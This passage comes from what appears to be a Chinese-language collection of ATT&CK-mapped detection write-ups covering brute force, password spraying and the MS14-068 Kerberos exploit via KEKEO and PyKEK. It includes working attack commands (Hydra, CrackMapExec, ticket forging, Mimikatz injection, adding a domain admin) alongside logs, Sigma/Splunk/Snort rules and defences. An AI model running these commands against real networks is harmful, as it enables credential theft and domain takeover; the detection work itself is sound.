**使用PowerShell脚本模拟暴力破解**: ```powershell $users = Get-Content C:\Tools\users.txt $passwords = Get-Content C:\Tools\passwords.txt foreach ($user in $users) { foreach ($pass in $passwords) { $cred = New-Object System.Management.Automation.PSCredential($user, (ConvertTo-SecureString $pass -AsPlainText -Force)) try { $result = Test-Connection -ComputerName dc.abcc.org -Credential $cred -ErrorAction Stop Write-Output "Success: $user:$pass" } catch { Write-Output "Failed: $user:$pass" } } } ``` - 输出示例: ``` Failed: user1:password Success: user1:Password123 ``` ### 参考资源 - Hydra文档: - CrackMapExec文档: - 密码字典: ## 检测日志 ### 数据来源 - **Windows安全日志**(域控制器或目标系统): - 事件ID4625:登录失败(暴力破解尝试) - 事件ID4624:登录成功(破解成功) - 事件ID4740:账号锁定 - **Sysmon日志**: - 事件ID1:进程创建(hydra.exe、crackmapexec.exe) - 事件ID3:网络连接(异常登录尝试) - **网络流量**: - 捕获SMB(445/TCP)、RDP(3389/TCP)、Kerberos(88/TCP)异常流量 - **防火墙日志**: - 监控单一源IP的多次连接尝试 ## 测试复现 ### 环境配置 - 系统:Windows Server 2019(dc.abcc.org) - 工具:Hydra - 用户:user1(密码:Password123) - 日志:Windows安全日志(事件ID4625、4624)、Sysmon(事件ID1) - 字典:C:\Tools\users.txt、C:\Tools\passwords.txt ### 复现步骤 1. **准备用户和密码字典**: ```cmd echo user1 > C:\Tools\users.txt echo Password123 > C:\Tools\passwords.txt echo wrongpass >> C:\Tools\passwords.txt ``` 2. **执行暴力破解**: ```cmd cd C:\Tools\hydra hydra -L C:\Tools\users.txt -P C:\Tools\passwords.txt smb://dc.abcc.org ``` - 输出: ``` [445][smb] host: dc.abcc.org login: user1 password: Password123 ``` 3. **验证日志**: - 检查事件ID4625:确认登录失败记录。 - 检查事件ID4624:确认成功登录。 ## 测试留痕 ### Windows安全日志 - **事件ID4625**: ```xml user1 ABCC 192.168.1.100 0xC000006D ``` - **事件ID4624**: ```xml user1 ABCC 192.168.1.100 ``` ### Sysmon日志 - **事件ID1**: ```xml C:\Tools\hydra\hydra.exe hydra -L users.txt -P passwords.txt smb://dc.abcc.org ATTACKER\admin ``` ## 检测规则/思路 ### 检测方法 1. **日志监控**: - Windows事件ID4625:检测单一源IP或用户名的多次登录失败。 - Windows事件ID4740:捕获账号锁定事件。 - Sysmon事件ID1:监控暴力破解工具(如hydra.exe)执行。 2. **行为分析**: - 检测短时间内单一源IP对多个账号的登录尝试(密码喷洒)。 - 监控异常登录模式(如夜间高频尝试)。 3. **网络监控**: - 捕获SMB(445/TCP)、RDP(3389/TCP)、Kerberos(88/TCP)的异常流量。 - 示例Snort规则: ```snort alert tcp any any -> any 445 (msg:"Brute Force SMB Attempt"; threshold:type threshold, track by_src, count 30, seconds 600; sid:1000007;) ``` 4. **关联分析**: - 结合事件ID4624和4625,检测破解成功后的登录行为。 - 监控后续凭据使用(如异常权限提升,事件ID4672)。 ### Sigma规则 #### 规则一:暴力破解检测 ```yaml title: 暴力破解检测 id: t0u1v2w3-4x5y-6z7a-ob6p-3q4r5s6t7u8v status: stable description: 检测单一源IP短时间内多次认证失败 references: - https://attack.mitre.org/techniques/T1110/ tags: - attack.brute_force - attack.t1110 logsource: product: windows category: security detection: selection: EventID: 4625 Status: '0xC000006D' timeframe: 600s condition: selection | count() by IpAddress > 30 fields: - EventID - IpAddress - TargetUserName - TargetDomainName falsepositives: - 合法应用程序认证失败 - 渗透测试 - 漏洞扫描 level: medium ``` #### 规则二:密码喷洒检测 ```yaml title: 密码喷洒检测 id: u1v2w3x4-5y6z-7a8b-pc7q-4r5s6t7u8v9w status: stable description: 检测单一源IP尝试多个账号的登录 references: - https://attack.mitre.org/techniques/T1110/ tags: - attack.brute_force - attack.t1110 logsource: product: windows category: security detection: selection: EventID: 4625 Status: '0xC000006D' timeframe: 600s condition: selection | count(TargetUserName) by IpAddress > 10 fields: - EventID - IpAddress - TargetUserName - TargetDomainName falsepositives: - 管理员批量测试账号 - 自动化脚本认证 level: medium ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" EventCode=4625 Status=0xC000006D | stats count by IpAddress,TargetUserName | where count > 30 | fields IpAddress,TargetUserName,count ``` 规则说明: - 检测10分钟内单一源IP的多次登录失败或多个账号尝试。 - 降低误报:设置合理阈值(>30或>10)。 ## 防御建议 1. **账号策略**: - 配置账号锁定策略(组策略:账户策略 > 账户锁定策略 > 锁定阈值5次,持续30分钟)。 - 强制复杂密码策略(最小长度12位,包含大小写、数字、特殊字符)。 2. **日志监控**: - 启用事件ID4625、4624、4740审计。 - 部署Sysmon,监控暴力破解工具执行。 - 使用SIEM关联登录失败和成功事件。 3. **网络防护**: - 限制SMB(445/TCP)、RDP(3389/TCP)外部访问。 - 部署IDS/IPS,检测高频认证流量。 4. **多因素认证(MFA)**: - 为高权限账号启用MFA。 - 对远程访问(如RDP、VPN)强制MFA。 5. **主动防御**: - 部署诱捕账号,监控异常登录尝试。 - 使用EDR检测暴力破解工具(如Hydra、CrackMapExec)。 ## 参考推荐 - MITRE ATT&CK T1110: - Hydra使用指南: - CrackMapExec文档: - 密码喷洒防御: - 密码字典资源: - Sysmon配置: ================================================ FILE: Windows/08凭证访问/T1110.003-Win-密码喷射.md ================================================ # T1110.003-Win-密码喷射 ## 描述 密码喷射(Password Spraying)是一种暴力破解技术,攻击者使用单一或少量常见密码(如“Password123”)尝试登录多个用户账户,以规避账户锁定策略。与传统暴力破解(针对单一账户尝试多个密码)不同,密码喷射针对多个账户使用相同密码,避免触发登录失败阈值。攻击者通常通过社交工程、网络钓鱼或LDAP查询收集用户ID,结合域密码策略选择可能密码,攻击常见服务如RDP(3389/TCP)、SMB(445/TCP)、LDAP(389/TCP)、Kerberos(88/TCP)。成功登录后,攻击者可获取未授权访问权限,用于横向移动或特权提升。 ## 测试案例 ### 测试环境 - 域控制器:Windows Server 2019(dc.lab.local) - 域内主机:Windows 10 - 工具:Hydra、Ncrack、CrackMapExec - 要求:域用户列表(users.txt)、常见密码(如Password123)、域控制器地址、域密码策略(如锁定阈值5次,锁定窗口30分钟) ### 测试准备 1. 收集域用户列表: ```powershell net user /domain > users.txt ``` - 编辑`users.txt`,保留用户名(如testuser1,testuser2)。 2. 准备密码列表(如`passwords.txt`:Password123,Summer2025)。 3. 确认域密码策略: ```powershell net accounts /domain ``` - 示例输出:`Lockout threshold: 5 attempts, Lockout duration: 30 minutes` 4. 安装工具: - Kali Linux:预装Hydra、Ncrack - CrackMapExec:`pip install crackmapexec` ### 测试步骤 1. **场景一:Hydra RDP密码喷射**: ```bash hydra -L users.txt -p Password123 rdp://dc.lab.local -t 4 -w 30 ``` - 参数说明: - `-L users.txt`:用户列表 - `-p Password123`:单一密码 - `-t 4`:4个并发线程(低于锁定阈值) - `-w 30`:每次尝试间隔30秒 - 输出示例: ``` [3389][rdp] host: dc.lab.local login: testuser1 password: Password123 ``` 2. **场景二:Ncrack RDP密码喷射**: ```bash ncrack -u users.txt -p Password123 -T 3 rdp://dc.lab.local --pairwise ``` - 参数说明: - `-T 3`:降低扫描速度 - `--pairwise`:逐对尝试,避免锁定 - 输出示例: ``` Discovered credentials: testuser1 Password123 ``` 3. **场景三:CrackMapExec SMB密码喷射**: ```bash crackmapexec smb dc.lab.local -u users.txt -p Password123 --continue-on-success ``` - 输出示例: ``` [+] dc.lab.local testuser1:Password123 (Pwn3d!) ``` ### 参考资源 - CrackMapExec文档: - Hydra使用指南: - 内网渗透之PTH&PTT&PTK: ## 检测日志 ### 数据来源 - **Windows安全日志**: - 域控制器: - 事件ID4625:登录失败 - 事件ID4771:Kerberos预身份验证失败 - 域内主机: - 事件ID4648:使用显式凭据登录 - **Sysmon日志**: - 事件ID1:进程创建,监控Hydra/Ncrack/CME - 事件ID3:网络连接,捕获RDP/SMB/LDAP流量 - **网络流量**: - 捕获RDP(3389/TCP)、SMB(445/TCP)、LDAP(389/TCP)、Kerberos(88/TCP)异常登录尝试 - **防火墙日志**: - 记录来源IP的频繁连接尝试 ### 日志示例 - **事件ID4625**(登录失败,RDP): ```xml testuser1 LAB 未知用户名或密码错误。 0xc000006d 0xc0000064 10 User32 Negotiate ATTACKER-PC ``` - **事件ID4771**(Kerberos预身份验证失败,LDAP): ```xml testuser1 LAB 0x18 ``` - **事件ID4648**(显式凭据登录): ```xml testuser1 dc.lab.local ``` ## 测试复现 ### 环境配置 - 域控制器:Windows Server 2019(dc.lab.local) - 域内主机:Windows 10 - 工具:Hydra、Ncrack - 用户列表:`users.txt`(testuser1,testuser2,...) - 密码:`Password123` - 域策略:锁定阈值5次,锁定窗口30分钟 ### 复现步骤 1. **Hydra RDP密码喷射**: ```bash hydra -L users.txt -p Password123 rdp://dc.lab.local -t 4 -w 30 ``` - 输出示例: ``` [3389][rdp] host: dc.lab.local login: testuser1 password: Password123 ``` 2. **Ncrack RDP密码喷射**: ```bash ncrack -u users.txt -p Password123 -T 3 rdp://dc.lab.local --pairwise ``` - 输出示例: ``` Discovered credentials: testuser1 Password123 ``` 3. **验证日志**: - 域控制器:检查事件ID4625、4771。 - 域内主机:检查事件ID4648。 ## 测试留痕 ### Windows安全日志 - **事件ID4625**: ```xml testuser1 LAB 未知用户名或密码错误。 0xc000006d 0xc0000064 10 User32 Negotiate ATTACKER-PC ``` - **事件ID4771**: ```xml testuser1 LAB 0x18 ``` - **事件ID4648**: ```xml testuser1 dc.lab.local ``` ### Sysmon日志 - **事件ID1**(Hydra进程创建): ```xml /usr/bin/hydra hydra -L users.txt -p Password123 rdp://dc.lab.local attacker ``` ## 检测规则/思路 ### 检测方法 1. **日志监控**: - 监控事件ID4625、4771,检测单一来源IP/主机短时间内尝试多个用户账户的登录失败。 - 监控事件ID4648,检测异常显式凭据登录。 2. **网络监控**: - 捕获RDP(3389/TCP)、SMB(445/TCP)、LDAP(389/TCP)、Kerberos(88/TCP)频繁连接。 - 示例Snort规则: ```snort alert tcp any any -> any 3389 (msg:"RDP Password Spray Attempt"; content:"AUTH"; threshold:type threshold,track by_src,count 50,seconds 60;sid:1000003;) ``` 3. **行为分析**: - 检测单一来源尝试多个用户账户的模式(>50次/分钟)。 - 使用Sysmon事件ID1监控Hydra/Ncrack/CME进程。 4. **基线建立**: - 记录正常登录失败频率,识别异常高峰。 ### Sigma规则 #### 场景一:RDP/SMB密码喷射 ```yaml title: RDP或SMB密码喷射检测 id: a1b2c3d4-5e6f-4a3b-9c8d-4e5f6a7b8c9d status: stable description: 检测RDP或SMB密码喷射攻击,关注多用户登录失败 references: - https://attack.mitre.org/techniques/T1110/003/ tags: - attack.credential_access - attack.t1110.003 logsource: product: windows service: security detection: selection_4625: EventID: 4625 LogonType|in: - 3 - 10 FailureReason: '未知用户名或密码错误。' Status: 0xc000006d SubStatus: 0xc0000064 AuthenticationPackageName|in: - NTLM - Negotiate selection_4771: EventID: 4771 FailureCode: 0x18 timeframe: 60s condition: (selection_4625 or selection_4771) | count(TargetUserName) by WorkstationName > 50 fields: - EventID - TargetUserName - TargetDomainName - WorkstationName - FailureCode - LogonType falsepositives: - 合法用户多次尝试错误密码 - 管理员测试账户 level: high ``` #### 场景二:显式凭据登录异常 ```yaml title: 异常显式凭据登录检测 id: c3d4e5f6-7a8b-4c5c-bd0e-6a7b8c9d0e1f status: stable description: 检测异常的显式凭据登录,可能是密码喷射攻击 references: - https://attack.mitre.org/techniques/T1110/003/ tags: - attack.credential_access - attack.t1110.003 logsource: product: windows service: security detection: selection: EventID: 4648 TargetServerName|endswith: '.local' timeframe: 60s condition: selection | count(AccountName) by WorkstationName > 100 fields: - EventID - AccountName - TargetServerName - WorkstationName falsepositives: - 管理员批量测试账户 - 自动化脚本使用显式凭据 level: medium ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" (EventCode=4625 LogonType IN (3,10) Status=0xc000006d SubStatus=0xc0000064 AuthenticationPackageName IN ("NTLM","Negotiate") OR EventCode=4771 FailureCode=0x18 OR EventCode=4648 TargetServerName="*.local") | stats count by WorkstationName,TargetUserName | where count > 50 | fields EventCode,TargetUserName,WorkstationName ``` 规则说明: - 检测多用户登录失败或显式凭据登录,关联来源主机。 - 减少误报:设置阈值(>50次/分钟)。 ## 防御建议 1. **密码策略**: - 强制复杂密码(≥12位,混合字符类型)。 - 设置锁定策略(阈值5次,锁定30分钟)。 2. **服务防护**: - 限制RDP/SMB/LDAP外部访问,使用VPN或IP白名单。 - 禁用不必要端口(如NetBIOS、Telnet)。 3. **日志监控**: - 启用事件ID4625、4771、4648审计。 - 部署Sysmon,监控可疑进程和网络连接。 - 使用SIEM(如Splunk)关联多用户登录失败。 4. **多因素认证(MFA)**: - 为RDP、LDAP、VPN启用MFA。 5. **主动防御**: - 部署诱捕账户,监控异常登录。 - 使用EDR工具检测Hydra/Ncrack/CME。 6. **用户教育**: - 培训用户识别钓鱼邮件,避免泄露用户名。 ## 参考推荐 - MITRE ATT&CK T1110.003: - Active Directory密码喷射检测: - Hydra使用指南: - CrackMapExec文档: - 内网渗透之PTH&PTT&PTK: - LDAP协议介绍: ================================================ FILE: Windows/08凭证访问/T1212-win-ms14-068-KEKEO.md ================================================ # T1212-Win-MS14-068-KEKEO ## 描述 攻击者可能利用Windows Kerberos协议漏洞MS14-068(CVE-2014-6324)通过票据传递攻击(Pass-the-Ticket,PtT)窃取凭据或提升权限。该漏洞允许已认证的域用户伪造Kerberos票据授予票据(TGT),将其权限提升至域管理员级别,控制域内资源。KEKEO工具可生成伪造票据,结合Mimikatz注入内存,绕过认证机制,访问域控制器或其他系统。攻击者还可伪造白银票据(Silver Ticket)针对特定服务(如SharePoint)或利用KRBTGT账户的NTLM哈希生成黄金票据(Golden Ticket),为任意账户创建TGT。此攻击无需本地管理员权限,仅需域用户凭据,影响Windows Server 2008 R2及以下版本,补丁KB3011780可修复。 ## 测试案例 ### 测试环境 - 域控制器:Windows Server 2008 R2(未打补丁KB3011780) - 域内主机:Windows 7 SP1(域成员) - 工具:KEKEO、Mimikatz - 要求:域用户凭据(用户名、密码)、用户SID、域控制器地址、时间同步(Kerberos要求客户端与DC时间差小于5分钟) ### 测试准备 1. 确认域控制器未安装KB3011780补丁: ```powershell Get-HotFix -Id KB3011780 ``` - 输出为空表示未打补丁。 2. 获取域用户凭据及SID: ```cmd whoami /user ``` - 示例输出:`lab\testuser S-1-5-21-1473643419-774954089-2222329127-1110` 3. 确保时间同步: ```cmd net time \\dc.lab.local /set ``` 4. 下载KEKEO()和Mimikatz,准备Windows 7测试环境。 ### 测试步骤 1. **查询权限**: 检查当前用户对域控制器C$共享的访问权限(预期无权限): ```cmd dir \\dc.lab.local\C$ ``` - 预期输出:`Access is denied` 2. **生成伪造TGT**: 使用KEKEO生成伪造票据: ```cmd kekeo.exe "tgs::ms14068 /user:testuser@lab.local /password:Passw0rd123 /sid:S-1-5-21-1473643419-774954089-2222329127-1110 /dc:dc.lab.local" ``` - 成功生成`.kirbi`文件(如`TGT_testuser@lab.local.kirbi`)。 3. **注入票据**: 使用Mimikatz注入伪造票据: ```cmd mimikatz.exe kerberos::purge kerberos::list kerberos::ptt TGT_testuser@lab.local.kirbi exit ``` 4. **验证权限提升**: 再次检查C$共享: ```cmd dir \\dc.lab.local\C$ ``` - 预期输出:列出C$共享内容。 创建域管理员账户: ```cmd net user newadmin P@ssw0rd123 /add /domain net group "Domain Admins" newadmin /add /domain ``` ### 参考资源 - KEKEO工具: - 内网渗透之PTH&PTT&PTK: ## 检测日志 ### 数据来源 - **Windows安全日志**(域控制器): - 事件ID4624:账户登录,记录Kerberos网络登录。 - 事件ID4672:特权分配,记录异常高权限(如SeDebugPrivilege)。 - 事件ID4768:Kerberos认证请求,记录AS-REQ。 - 事件ID4769:Kerberos服务票据请求,记录TGS-REQ。 - **Sysmon日志**: - 事件ID1:进程创建,监控`kekeo.exe`或`mimikatz.exe`。 - 事件ID3:网络连接,捕获与域控制器的Kerberos通信(端口88)。 - **网络流量**: - 使用WireShark捕获Kerberos流量(端口88),关注AS-REQ中`include-pac:False`或TGS-REQ中MD5校验的异常票据。 - **补丁状态**: - 检查KB3011780补丁安装情况。 ### 日志示例 - **事件ID4624**(账户登录): ```xml testuser LAB.LOCAL 3 Kerberos ``` - **事件ID4672**(特权分配): ```xml testuser LAB.LOCAL SeDebugPrivilege,SeTcbPrivilege ``` - **事件ID4769**(Kerberos服务票据请求): ```xml testuser LAB.LOCAL krbtgt/LAB.LOCAL 0x40810010 ``` ## 测试复现 ### 环境配置 - 域控制器:Windows Server 2008 R2(未打补丁KB3011780) - 域内主机:Windows 7 SP1 - 工具:KEKEO、Mimikatz - 域用户:`testuser@lab.local`,密码`Passw0rd123`,SID`S-1-5-21-1473643419-774954089-2222329127-1110` - 域控制器:`dc.lab.local` ### 复现步骤 1. **检查权限**: ```cmd whoami /user dir \\dc.lab.local\C$ ``` 2. **生成伪造票据**: ```cmd kekeo.exe "tgs::ms14068 /user:testuser@lab.local /password:Passw0rd123 /sid:S-1-5-21-1473643419-774954089-2222329127-1110 /dc:dc.lab.local" ``` - 输出示例: ``` [+] MS14-068 exploitation: Building AS-REQ for dc.lab.local... Done! [+] Sending AS-REQ to dc.lab.local... Done! [+] Receiving AS-REP from dc.lab.local... Done! [+] Building TGS-REQ for dc.lab.local... Done! [+] Sending TGS-REQ to dc.lab.local... Done! [+] Creating kirbi file 'TGT_testuser@lab.local.kirbi'... Done! ``` 3. **注入票据**: ```cmd mimikatz.exe "kerberos::purge" "kerberos::list" "kerberos::ptt TGT_testuser@lab.local.kirbi" exit ``` 4. **验证权限提升**: ```cmd dir \\dc.lab.local\C$ net user newadmin P@ssw0rd123 /add /domain net group "Domain Admins" newadmin /add /domain ``` ## 测试留痕 ### Windows安全日志(域控制器) - **事件ID4624**: ```xml testuser LAB.LOCAL 3 Kerberos WIN7-CLIENT ``` - **事件ID4672**: ```xml testuser LAB.LOCAL SeDebugPrivilege,SeTcbPrivilege ``` - **事件ID4769**: ```xml testuser LAB.LOCAL krbtgt/LAB.LOCAL 0x40810010 ``` ### Sysmon日志 - **事件ID1**(进程创建): ```xml C:\Tools\kekeo.exe kekeo.exe tgs::ms14068 /user:testuser@lab.local /password:Passw0rd123 /sid:S-1-5-21-1473643419-774954089-2222329127-1110 /dc:dc.lab.local LAB\testuser ``` - **事件ID3**(网络连接): ```xml C:\Tools\kekeo.exe 192.168.1.10 88 ``` ### 网络流量(WireShark) - AS-REQ:`include-pac:False`(正常请求包含PAC)。 - TGS-REQ:伪造PAC,使用MD5校验(非标准HMAC_MD5或AES)。 ## 检测规则/思路 ### 检测方法 1. **日志监控**: - 监控事件ID4624、4672、4768、4769,检查`TargetDomainName`或`SuppliedRealmName`是否包含异常点号(`.`)。 - 检测事件ID4672中非管理员用户的异常高权限(如SeDebugPrivilege)。 2. **网络监控**: - 捕获Kerberos流量(端口88),检测AS-REQ中`include-pac:False`或TGS-REQ中MD5校验。 - 示例Snort规则: ```snort alert udp any any -> any 88 (msg:"MS14-068 KEKEO Exploit Attempt"; content:"include-pac:False"; sid:1000002;) ``` 3. **行为分析**: - 检测低权限用户访问域控制器C$共享或创建域管理员账户。 - 监控`kekeo.exe`、`mimikatz.exe`或异常票据注入行为。 4. **补丁状态**: - 使用PowerShell检查补丁: ```powershell Get-HotFix -Id KB3011780 ``` ### Sigma规则 ```yaml title: MS14-068 KEKEO Kerberos Exploitation Attempt id: 9b7c8d3e-6f7a-4b4b-ac9d-3f4a5b6c7d8e status: stable description: Detects potential MS14-068 exploitation attempts using KEKEO to forge Kerberos tickets references: - https://attack.mitre.org/techniques/T1212/ - https://adsecurity.org/?p=556 tags: - attack.privilege_escalation - attack.t1212 logsource: product: windows service: security detection: selection_4624: EventID: 4624 LogonType: 3 AuthenticationPackageName: Kerberos TargetDomainName|contains: '.' selection_4672: EventID: 4672 TargetDomainName|contains: '.' AssignedPrivileges|contains: - SeDebugPrivilege - SeTcbPrivilege selection_4768: EventID: 4768 SuppliedRealmName|contains: '.' selection_4769: EventID: 4769 ServiceName|contains: 'krbtgt' TargetDomainName|contains: '.' filter_normal: TargetUserName|in: - 'ntp$' - 'S-1-0-0' timeframe: 5s condition: (selection_4624 and selection_4672 and (selection_4768 or selection_4769)) and not filter_normal fields: - EventID - TargetUserName - TargetDomainName - LogonType - AuthenticationPackageName - AssignedPrivileges - SuppliedRealmName - ServiceName falsepositives: - Complex domain names in legitimate Kerberos authentication - Administrative tools accessing domain resources level: high ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" (EventCode=4624 LogonType=3 AuthenticationPackageName=Kerberos TargetDomainName="*.*" OR EventCode=4672 TargetDomainName="*.*" AssignedPrivileges IN ("*SeDebugPrivilege*","*SeTcbPrivilege*") OR EventCode=4768 SuppliedRealmName="*.*" OR EventCode=4769 ServiceName="*krbtgt*" TargetDomainName="*.*") NOT TargetUserName IN ("ntp$","S-1-0-0") | transaction TargetUserName maxspan=5s | fields EventCode,TargetUserName,TargetDomainName,LogonType,AuthenticationPackageName,AssignedPrivileges,SuppliedRealmName,ServiceName ``` 规则说明: - 检测异常Kerberos票据请求,结合高权限分配。 - 减少误报:排除常见系统账户(如ntp$),使用5秒时间窗口。 ## 防御建议 1. **补丁管理**: - 立即为域控制器安装KB3011780补丁,优先Windows Server 2008/2008 R2。 - 使用PowerShell脚本定期检查补丁状态。 2. **日志配置**: - 启用事件ID4768/4769审计,记录成功和失败事件。 - 部署Sysmon,监控`kekeo.exe`、`mimikatz.exe`和Kerberos网络连接。 3. **权限控制**: - 最小化域用户权限,限制对域控制器共享(如C$)的访问。 - 使用组策略禁用非管理员的网络登录权限。 4. **网络防护**: - 部署IDS/IPS,检测`include-pac:False`或MD5校验的Kerberos流量。 - 限制Kerberos端口(88)访问,仅允许必要设备通信。 5. **主动防御**: - 部署诱捕账户,监控异常高权限登录。 - 使用EDR工具检测票据注入或异常进程行为。 6. **时间同步**: - 确保所有系统与域控制器时间同步,防止票据伪造。 ## 参考推荐 - MITRE ATT&CK T1212: - Active Directory Security: MS14-068 Exploit Analysis: - Microsoft Security Bulletin MS14-068: - KEKEO GitHub Repository: - 内网渗透之PTH&PTT&PTK: - Detecting Kerberos Ticket Forgery: ================================================ FILE: Windows/08凭证访问/T1212-win-ms14-068-PYKEK.md ================================================ # T1212-Win-MS14-068-PyKEK ## 描述 攻击者可能利用软件漏洞(如MS14-068,CVE-2014-6324)通过伪造Kerberos票据(TGT)收集凭据或提升特权。MS14-068是Windows Kerberos协议中的漏洞,允许已认证的域用户伪造权限属性证书(PAC),将其权限提升至域管理员级别,从而完全控制域内资源。攻击者使用Python Kerberos Exploitation Kit(PyKEK)生成伪造票据,结合Mimikatz注入内存,绕过认证机制,访问域控制器或其他系统。此漏洞无需本地管理员权限,仅需域用户凭据,影响Windows Server 2008 R2及以下版本,Windows Server 2012/2012 R2受影响较小。补丁KB3011780可修复此漏洞。 ## 测试案例 ### 测试环境 - 域控制器:Windows Server 2008 R2(未打补丁KB3011780) - 域内主机:Windows 7 SP1(域成员) - 工具:PyKEK(ms14-068.py)、Mimikatz - 要求:域用户凭据(用户名、密码)、用户SID、域控制器地址、时间同步(Kerberos要求客户端与DC时间差小于5分钟) ### 测试准备 1. 确认域控制器未安装KB3011780补丁: ```powershell Get-HotFix -ID KB3011780 ``` - 输出为空表示未打补丁。 2. 获取域用户凭据及SID: ```cmd whoami /user ``` - 示例输出:`lab\darthsidious S-1-5-21-1473643419-774954089-2222329127-1110` 3. 确保时间同步: ```cmd net time \\dc.lab.local /set ``` 4. 下载PyKEK()并安装依赖(Python 2.7、Kerberos支持库,如`python-kerberos`): ```bash pip install kerberos ``` ### 测试步骤 1. **查询权限**: 检查当前用户对域控制器C$共享的访问权限(预期无权限): ```cmd dir \\dc.lab.local\C$ ``` - 预期输出:`Access is denied` 2. **生成伪造票据**: 使用PyKEK生成伪造TGT: ```cmd python ms14-068.py -u darthsidious@lab.local -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d dc.lab.local ``` - 成功生成`.ccache`文件(如`TGT_darthsidious@lab.local.ccache`)。 3. **注入票据**: 使用Mimikatz注入伪造票据: ```cmd mimikatz.exe kerberos::purge kerberos::list kerberos::ptc TGT_darthsidious@lab.local.ccache exit ``` 4. **验证权限提升**: 再次检查C$共享: ```cmd dir \\dc.lab.local\C$ ``` - 预期输出:列出C$共享内容。 创建域管理员账户: ```cmd net user newadmin P@ssw0rd123 /add /domain net group "Domain Admins" newadmin /add /domain ``` ### 参考资源 - PyKEK工具: - 内网渗透之PTH&PTT&PTK: ## 检测日志 ### 数据来源 - **Windows安全日志**(域控制器): - 事件ID4624:账户登录,记录Kerberos网络登录。 - 事件ID4672:特权分配,记录异常高权限(如SeDebugPrivilege)。 - 事件ID4768:Kerberos认证请求,记录AS-REQ。 - 事件ID4769:Kerberos服务票据请求,记录TGS-REQ。 - **Sysmon日志**: - 事件ID1:进程创建,监控`ms14-068.py`或`mimikatz.exe`。 - 事件ID3:网络连接,捕获与域控制器的Kerberos通信(端口88)。 - **网络流量**: - 使用WireShark捕获Kerberos流量(端口88),关注AS-REQ中`include-pac:False`或TGS-REQ中MD5校验的异常票据。[](https://adsecurity.org/?p=763) - **补丁状态**: - 检查KB3011780补丁安装情况。 ### 日志示例 - **事件ID4624**(账户登录): ```xml darthsidious LAB.LOCAL 3 Kerberos ``` - **事件ID4672**(特权分配): ```xml darthsidious LAB.LOCAL SeDebugPrivilege,SeTcbPrivilege ``` - **事件ID4769**(Kerberos服务票据请求): ```xml darthsidious LAB.LOCAL krbtgt/LAB.LOCAL 0x40810010 ``` ## 测试复现 ### 环境配置 - 域控制器:Windows Server 2008 R2(未打补丁KB3011780) - 域内主机:Windows 7 SP1 - 工具:PyKEK、Mimikatz - 域用户:`darthsidious@lab.local`,密码`TheEmperor99!`,SID`S-1-5-21-1473643419-774954089-2222329127-1110` - 域控制器:`dc.lab.local` ### 复现步骤 1. **检查权限**: ```cmd whoami /user dir \\dc.lab.local\C$ ``` 2. **生成伪造票据**: ```cmd python ms14-068.py -u darthsidious@lab.local -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d dc.lab.local ``` - 输出示例: ``` [+] Building AS-REQ for dc.lab.local... Done! [+] Sending AS-REQ to dc.lab.local... Done! [+] Receiving AS-REP from dc.lab.local... Done! [+] Parsing AS-REP from dc.lab.local... Done! [+] Building TGS-REQ for dc.lab.local... Done! [+] Sending TGS-REQ to dc.lab.local... Done! [+] Receiving TGS-REP from dc.lab.local... Done! [+] Creating ccache file 'TGT_darthsidious@lab.local.ccache'... Done! ``` 3. **注入票据**: ```cmd mimikatz.exe "kerberos::purge" "kerberos::list" "kerberos::ptc TGT_darthsidious@lab.local.ccache" exit ``` 4. **验证权限提升**: ```cmd dir \\dc.lab.local\C$ net user newadmin P@ssw0rd123 /add /domain net group "Domain Admins" newadmin /add /domain ``` ## 测试留痕 ### Windows安全日志(域控制器) - **事件ID4624**: ```xml darthsidious LAB.LOCAL 3 Kerberos WIN7-CLIENT ``` - **事件ID4672**: ```xml darthsidious LAB.LOCAL SeDebugPrivilege,SeTcbPrivilege ``` - **事件ID4769**: ```xml darthsidious LAB.LOCAL krbtgt/LAB.LOCAL 0x40810010 ``` ### Sysmon日志 - **事件ID1**(进程创建): ```xml C:\Python27\python.exe python.exe ms14-068.py -u darthsidious@lab.local -s S-1-5-21-1473643419-774954089-2222329127-1110 -d dc.lab.local LAB\darthsidious ``` - **事件ID3**(网络连接): ```xml C:\Python27\python.exe 192.168.1.10 88 ``` ### 网络流量(WireShark) - AS-REQ:`include-pac:False`(正常请求包含PAC)。 - TGS-REQ:伪造PAC,使用MD5校验(非标准HMAC_MD5或AES)。[](https://labs.withsecure.com/publications/digging-into-ms14-068-exploitation-and-defence) ## 检测规则/思路 ### 检测方法 1. **日志监控**: - 监控事件ID4624、4672、4768、4769,检查`TargetDomainName`或`SuppliedRealmName`是否包含异常格式(如带`.`)。 - 检测事件ID4672中非管理员用户的异常高权限(如SeDebugPrivilege)。 2. **网络监控**: - 捕获Kerberos流量(端口88),检测AS-REQ中`include-pac:False`或TGS-REQ中MD5校验。 - 示例Snort规则: ```snort alert udp any any -> any 88 (msg:"MS14-068 PyKEK Exploit Attempt"; content:"include-pac:False"; sid:1000001;) ``` 3. **行为分析**: - 检测低权限用户访问域控制器C$共享或创建域管理员账户。 - 监控`mimikatz.exe`或`python.exe`执行异常命令。 4. **补丁状态**: - 使用PowerShell检查补丁: ```powershell Get-HotFix -ID KB3011780 ``` ### Sigma规则 ```yaml title: MS14-068 PyKEK Kerberos Exploitation Attempt id: 7a8b9c2d-5e6f-4f3a-9b8c-2e3f4a5b6c7d status:stable description:Detects potential MS14-068 exploitation attempts using PyKEK to forge Kerberos tickets references: - https://attack.mitre.org/techniques/T1212/ - https://adsecurity.org/?p=556 tags: - attack.privilege_escalation - attack.t1212 logsource: product: windows service: security detection: selection_4624: EventID: 4624 LogonType: 3 AuthenticationPackageName: Kerberos TargetDomainName|contains: '.' selection_4672: EventID: 4672 TargetDomainName|contains: '.' AssignedPrivileges|contains: - SeDebugPrivilege - SeTcbPrivilege selection_4768: EventID: 4768 SuppliedRealmName|contains: '.' selection_4769: EventID: 4769 ServiceName|contains: 'krbtgt' TargetDomainName|contains: '.' timeframe: 5s condition: selection_4624 and selection_4672 and (selection_4768 or selection_4769) fields: - EventID - TargetUserName - TargetDomainName - LogonType - AuthenticationPackageName - AssignedPrivileges - SuppliedRealmName - ServiceName falsepositives: - Complex domain names in legitimate Kerberos authentication - Administrative tools accessing domain resources level: high ``` ### Splunk规则 ```spl index=windows source="WinEventLog:Security" (EventCode=4624 LogonType=3 AuthenticationPackageName=Kerberos TargetDomainName="*.-*" OR 